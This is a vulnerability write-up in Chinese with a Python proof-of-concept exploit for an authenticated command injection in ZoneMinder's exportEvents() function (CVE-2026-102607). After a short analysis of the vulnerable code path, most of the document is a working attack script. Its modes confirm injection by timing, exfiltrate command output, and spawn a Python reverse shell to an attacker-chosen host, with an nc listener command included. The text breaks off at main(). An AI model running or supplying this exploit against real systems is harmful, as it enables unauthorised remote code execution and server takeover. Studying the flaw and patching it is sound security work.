Python PoC,利用 CVE-2026-102607——ZoneMinder <= 1.38.1 中 exportEvents() 的已认证 OS 命令注入漏洞,可实现 RCE、命令输出外泄和反向 shell。
ZoneMinder 的事件导出功能中存在一个经过身份验证的操作系统命令注入漏洞。exportFile HTTP 请求参数未经清理就被传入通过 PHP 的 exec() 执行的 shell 命令中,允许任何拥有 View Events 权限的已认证用户在服务器上执行任意操作系统命令。
此漏洞可导致以 Web 服务器用户(www-data)身份实现完整的远程代码执行(RCE)。
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hweb/ajax/event.php,第 103 行web/skins/classic/includes/export_functions.php 中的 exportEvents(),第 1030–1032 行exportEvents() 函数接受一个 $export_root 参数,该参数直接来源于 $_REQUEST['exportFile'](通过 ajax/event.php,第 103 行)。此参数用于构造追加到 tar 和 zip 命令的目录路径。
虽然第 1020 行的归档文件路径($archive_path)使用 escapeshellarg() 进行了正确转义,但第 1030 行的尾部目录参数在未进行任何清理的情况下被直接拼接到命令字符串中:
// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);
// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';
// Line 1032 — executed
exec($command, $output, $status);
攻击者可以向 exportFile 参数中注入 shell 元字符(;、|、&& 等),从而突破预期的 tar/zip 命令并执行任意命令。PHP 追加的尾部 / 可以使用 #(shell 注释字符)来中和。
HTTP Request: $_REQUEST['exportFile']
│
▼
ajax/event.php (line 103)
└── exportEvents(..., $_REQUEST['exportFile'])
│
▼
export_functions.php (line 890)
└── $export_root = $_REQUEST['exportFile'] // No sanitization
│
▼
export_functions.php (line 1030)
└── $command .= ' ' . $export_root . '/' // Direct concatenation
│
▼
export_functions.php (line 1032)
└── exec($command) // OS Command Execution
View Events 或 View Snapshots 权限的已认证用户。__csrf_magic 令牌(可从任意 ZoneMinder 页面获取)。exportDetail=1: 在使用不存在的 event ID 时,必须包含此参数以防止 exportEventImagesMaster() 中出现 PHP 致命错误。#!/usr/bin/env python3
"""
=====================================================================
Affected Version : ZoneMinder <= 1.38.1
Tested On : ZoneMinder 1.38.1 (Docker)
Vulnerability : OS Command Injection in exportEvents()
CVSS Score : 9.9 (Critical)
Attack Vector : Network (Authenticated)
File : web/skins/classic/includes/export_functions.php
Sink : exec() at line 1032
Description:
The exportEvents() function in ZoneMinder constructs shell commands
for `tar` and `zip` archival using unsanitized user input from the
`exportFile` HTTP request parameter. This parameter is used as the
`$export_root` variable, which is directly concatenated into the
command string passed to exec() without escapeshellarg() or any
equivalent sanitization.
An authenticated attacker with "View Events" permission can inject
arbitrary OS commands by appending shell metacharacters (;) to the
`exportFile` parameter, achieving Remote Code Execution as the
web server user (www-data).
Usage:
1. Start a listener on your attack machine:
$ nc -lvnp <LPORT>
2. Run this exploit:
$ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>
3. The exploit supports three modes:
--mode check : Verify the vulnerability (sleep-based timing)
--mode whoami : Extract the output of `whoami`
--mode revshell: Spawn a reverse shell to LHOST:LPORT
Author : d4kw1n
Date : 2026-03-10
"""
import argparse
import re
import sys
import time
import urllib.parse
try:
import requests
except ImportError:
print("[-] 'requests' library required. Install with: pip install requests")
sys.exit(1)
BANNER = r"""
ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""
class ZMExploit:
def __init__(self, target, lhost=None, lport=None, session_cookie=None):
self.target = target.rstrip("/")
self.lhost = lhost
self.lport = lport
self.session = requests.Session()
self.session.verify = False
if session_cookie:
self.session.cookies.set("ZMSESSID", session_cookie)
def get_csrf_token(self):
"""Fetch a valid CSRF token from the target."""
res = self.session.get(f"{self.target}/index.php", timeout=10)
match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
if not match:
print("[-] Failed to extract CSRF token. Is the target reachable?")
return None
return match.group(1)
def send_payload(self, payload):
"""Send the injection payload via the export action."""
csrf = self.get_csrf_token()
if not csrf:
return None
data = {
"view": "request",
"request": "event",
"action": "export",
"exportFormat": "tar",
"exportDetail": "1",
"eids[]": "1",
"exportFile": payload,
"__csrf_magic": csrf,
}
try:
return self.session.post(
f"{self.target}/index.php", data=data, timeout=30
)
except requests.exceptions.ReadTimeout:
return None
def read_output(self, filename):
"""Read exfiltrated command output via archive.php."""
res = self.session.get(
f"{self.target}/index.php?view=archive&type=tar&file={filename}",
timeout=10,
)
return res.text.strip()
# ── Mode: check ──────────────────────────────────────────────
def check(self):
"""Verify the vulnerability using a timing-based approach."""
delay = 5
print(f"[*] Sending sleep {delay} payload for timing verification...")
payload = f"a; sleep {delay}; #"
start = time.time()
self.send_payload(payload)
elapsed = time.time() - start
print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
if elapsed >= delay:
print("[+] VULNERABLE - Command injection confirmed!")
return True
else:
print("[-] NOT VULNERABLE or target unreachable.")
return False
# ── Mode: whoami ─────────────────────────────────────────────
def whoami(self):
"""Extract the web server user via command output exfiltration."""
outfile = "whoami.tar"
print(f"[*] Injecting: whoami > {outfile}")
self.send_payload(f"a; whoami > {outfile}; #")
result = self.read_output(outfile)
if result:
print(f"[+] Server running as: {result}")
else:
print("[-] Could not retrieve output.")
return result
# ── Mode: revshell ───────────────────────────────────────────
def revshell(self):
"""Spawn a reverse shell using python3 on the target."""
if not self.lhost or not self.lport:
print("[-] --lhost and --lport are required for reverse shell mode.")
return False
print(f"[*] Sending reverse shell payload -> {self.lhost}:{self.lport}")
print("[*] Make sure your listener is running: nc -lvnp {self.lport}")
py_revshell = (
f'export RHOST="{self.lhost}";export RPORT={self.lport};'
f"python3 -c 'import sys,socket,os,pty;"
f"s=socket.socket();"
f's.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));'
f"[os.dup2(s.fileno(),fd) for fd in (0,1,2)];"
f"pty.spawn(\"sh\")'"
)
payload = f"a; {py_revshell}; #"
self.send_payload(payload)
print("[+] Payload sent! Check your listener for an incoming connection.")
return True
def main():
print(BANNER)